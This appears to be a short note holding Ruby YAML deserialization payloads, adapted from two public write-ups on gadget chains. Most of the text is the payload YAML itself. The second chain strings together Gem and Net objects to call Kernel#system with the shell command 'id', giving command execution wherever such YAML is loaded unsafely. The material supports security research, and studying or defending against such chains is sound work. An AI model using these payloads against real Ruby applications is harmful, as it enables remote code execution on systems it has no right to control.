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Based on excellent write-up from https://www.elttam.com.au/blog/ruby-deserialization/

Doesn't work to use YAML.dump(payload) in the above script. This only produces the following YAML, which is worthless:

--- !ruby/object:Gem::Requirement
requirements:
- - ">="
  - !ruby/object:Gem::Version
    version: '0'

This is just a handcrafted conversion of the serialization done by Marshal.dump

Second version is based on the more recent and equally excellent writup from https://devcraft.io/2021/01/07/universal-deserialisation-gadget-for-ruby-2-x-3-x.html

--- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::DependencyList
specs:
- !ruby/object:Gem::Source::SpecificFile
spec: &1 !ruby/object:Gem::StubSpecification
loaded_from: "|id 1>&2"
- !ruby/object:Gem::Source::SpecificFile
spec:
---
- !ruby/object:Gem::Installer
i: x
- !ruby/object:Gem::SpecFetcher
i: y
- !ruby/object:Gem::Requirement
requirements:
!ruby/object:Gem::Package::TarReader
io: &1 !ruby/object:Net::BufferedIO
io: &1 !ruby/object:Gem::Package::TarReader::Entry
read: 0
header: "abc"
debug_output: &1 !ruby/object:Net::WriteAdapter
socket: &1 !ruby/object:Gem::RequestSet
sets: !ruby/object:Net::WriteAdapter
socket: !ruby/module 'Kernel'
method_id: :system
git_set: id
method_id: :resolve
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